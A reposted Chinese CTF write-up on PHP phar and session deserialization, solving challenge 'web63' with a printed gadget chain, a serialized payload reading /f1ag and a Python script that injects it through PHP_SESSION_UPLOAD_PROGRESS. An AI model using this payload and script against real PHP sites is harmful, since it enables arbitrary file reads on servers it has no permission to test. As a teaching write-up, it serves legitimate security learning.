当前位置: 首页 > news >正文

遵义网站建设公司排名新浪网今日乌鲁木齐新闻

遵义网站建设公司排名,新浪网今日乌鲁木齐新闻,高级wordpress搜索,最近新闻目录 ①phar反序列化 ②session反序列化 ①phar反序列化 phar 认为是java的jar包 calc.exe phar能干什么 多个php合并为独立压缩包,不解压就能执行里面的php文件,支持web服务器和命令行 phar协议 phar://xxx.phar $phar->setmetadata($h); m…

目录

①phar反序列化

②session反序列化


①phar反序列化

phar 认为是java的jar包   calc.exe

phar能干什么

多个php合并为独立压缩包,不解压就能执行里面的php文件,支持web服务器和命令行

phar协议

phar://xxx.phar
$phar->setmetadata($h);
metaData可以存放一个类实例,会将这个类实例以序列化字符串形式存放至Phar文件内
当使用phar协议加载phar文件时,会自动反序列化这个类的序列化字符串
总结:
1.生成phar包时,可以往metaData里面放对象
2.生成后,对象会自动序列化保存到phar包中
3.使用phar协议读取phar包时,如果当前脚本识别了这个类,会自动调用这个类的魔术方法

哪里使用的多

如果有上传点,上传文件的前半部分可控,后缀黑名单,不能上传危险的后缀为php phps phtml ini 没有禁止上传phar文件
能够上传phar文件,找到大量使用的file_exists等文件读取函数,通过控制phar://头,来使用phar协议来解析phar包
就能自动进行反序列化

条件:
1 能够生成phar包并上传写入
2 有可利用的文件操作函数,并控制了协议头,使用phar协议解析
3 有可利用的恶意类


可以触发phar反序列化的函数
fopen() unlink() stat() fstat() fseek() rename() opendir() rmdir() mkdir() file_put_contents() file_get_contents() 
file_exists() fileinode() include() require() include_once require_once() filemtime() fileowner() fileperms() 
filesize() is_dir() scandir() rmdir() highlight_file()

②session反序列化

在 PHP 中,PHP_SESSION_UPLOAD_PROGRESS是一个内置的会话变量,用于跟踪文件上传的进度。当使用 PHP 通过 HTTP POST 方法上传文件时,PHP 将自动创建并初始化这个变量。它的值表示上传文件的字节数。这个值可能会在整个上传过程中不断更新,以反映上传的实时进度。在一些情况下,可以使用这个变量来实现对上传进度的监控和处理。

php的session时存放在文件中的 默认位置时/tmp/sess_PHPSESSID
session 可以放字符串,数字,也可以放对象

1 session里面存放对象时,会自动进行序列化,存放序列化后的字符串
2  session里面拿取对象时,会自动进行反序列化,执行对象的魔术方法

php序列化处理器方式
xxx|O:4:"user":2{s:8"username";N;s:8:"password";N;}
php_serialize序列化处理器方式
a:1:{s:3:"xxx";O:4:"user":2:{s:8"username";N;s:8:"password";N;}}

例题:web63

?phpinfo=看一眼phpinfo,应证了ini_set("session.serialize_handler", "php");

即用'|'识别,竖线以左代表session的key(键),竖线以右代表反序列化的字符串

?source=看一眼class.php 

贴出源码

<?phpclass Happy {public $happy;function __construct(){$this->happy="Happy_New_Year!!!";}function __destruct(){$this->happy->happy;}public function __call($funName, $arguments){die($this->happy->$funName);}public function __set($key,$value){$this->happy->$key = $value;}public function __invoke(){echo $this->happy;}}class _New_{public $daniu;public $robot;public $notrobot;private $_New_;function __construct(){$this->daniu="I'm daniu.";$this->robot="I'm robot.";$this->notrobot="I'm not a robot.";}public function __call($funName, $arguments){echo $this->daniu.$funName."not exists!!!";}public function __invoke(){echo $this->daniu;$this->daniu=$this->robot;echo $this->daniu;}public function __toString(){$robot=$this->robot;$this->daniu->$robot=$this->notrobot;return (string)$this->daniu;}public function __get($key){echo $this->daniu.$key."not exists!!!";}}class Year{public $zodiac;public function __invoke(){echo "happy ".$this->zodiac." year!";}function __construct(){$this->zodiac="Hu";}public function __toString(){$this->show();}public function __set($key,$value)#3{$this->$key = $value;}public function show(){die(file_get_contents($this->zodiac));}public function __wakeup(){$this->zodiac = 'hu';}}
?>

先搓个链子

Happy::__destruct->_New_::__get->_New_::__toString->Year::__toString->Year::show

 构造

$h=new Happy();
$n=new _New_();
$n2=new _New_();
$y=new Year();
$n2->daniu=$y;
$n2->robot='zodiac';
$n2->notrobot='/f1ag';
$n->daniu=$n2;
$h->happy=$n;echo serialize($h);//O:5:"Happy":1:{s:5:"happy";O:5:"_New_":4:{s:5:"daniu";O:5:"_New_":4:{s:5:"daniu";O:4:"Year":1:{s:6:"zodiac";s:2:"Hu";}s:5:"robot";s:6:"zodiac";s:8:"notrobot";s:5:"/f1ag";s:12:" _New_ _New_";N;}s:5:"robot";s:10:"I'm robot.";s:8:"notrobot";s:16:"I'm not a robot.";s:12:" _New_ _New_";N;}}

因为class.php的类都在初始界面注册,我们通过强制文件上传的形式,把filename存到session中,在session_start()触发反序列化,利用恶意类进行任意文件读取。

写个表单提交脚本

import  requestsp1='''a|O:5:\"Happy\":1:{s:5:\"happy\";O:5:\"_New_\":4:{s:5:\"daniu\";O:5:\"_New_\":4:{s:5:\"daniu\";O:4:\"Year\":1:{s:6:\"zodiac\";s:2:\"Hu\";}s:5:\"robot\";s:6:\"zodiac\";s:8:\"notrobot\";s:5:\"/f1ag\";s:12:\" _New_ _New_\";N;}s:5:\"robot\";s:10:\"I'm robot.\";s:8:\"notrobot\";s:16:\"I'm not a robot.\";s:12:\" _New_ _New_\";N;}}'''
url='http://edb45d1d-7acd-41da-8f1f-00b7b898cc21.challenges.ctfer.com:8080/'
session=requests.session()file={'file':(p1,'aaa')}data={"PHP_SESSION_UPLOAD_PROGRESS":123}cookie={'PHPSESSID':'441a16842171ded17f387411ab56a85f'}resp=session.post(url=url,data=data,files=file,cookies=cookie,proxies={'http':'127.0.0.1:8080'})
print(resp.text)

 

http://www.hkea.cn/news/789498/

相关文章:

  • 韶关城乡建设部网站首页营销型网站建设策划书
  • 建设银行手机银行下载官方网站谷歌浏览器网页版入口在哪里
  • 网站建设 好域名注册信息
  • 公众号微网站建设认证哪个推广网站好
  • 爬取1024上传到wordpress蔡甸seo排名公司
  • 流感吃什么药更好seo的方法
  • 营销型网站建设市场seo黑帽技术有哪些
  • 扬中做网站的公司seo虚拟外链
  • 永川集团网站建设免费网站seo诊断
  • 国外 上海网站建设网络营销推广方式案例
  • 24手表网站网络技术推广服务
  • 鞍山网站制作推广游戏推广员判几年
  • 360如何做网站优化网页设计制作软件
  • 金华网站建设电话电商运营主要负责什么
  • 百度的官方网站游戏推广工作好做吗
  • 著名的深圳网站建设网页快照
  • 政务网站建设要求快速排名软件哪个好
  • 自己网站怎么做优化色盲和色弱的区别
  • 苏州建网站公司seo网络推广培训班
  • 福清市建设局网站石家庄学院
  • 找考卷做要去哪个网站中国国家培训网官网查询
  • 软件系统开发的大概步骤优化网站标题名词解释
  • 院校网站建设模板建站平台
  • 淘宝网站内搜索引擎优化怎么做广告推广平台网站有哪些
  • 大片播放网站国外免费推广网站有哪些
  • flash网站cms排名sem优化软件
  • 申请完域名怎么做网站百度链接提交
  • 驻马店市可以做网站的公司百度搜索竞价排名
  • 郑州市做网站吉林百度查关键词排名
  • 济宁网站建设seo抖音seo源码搭建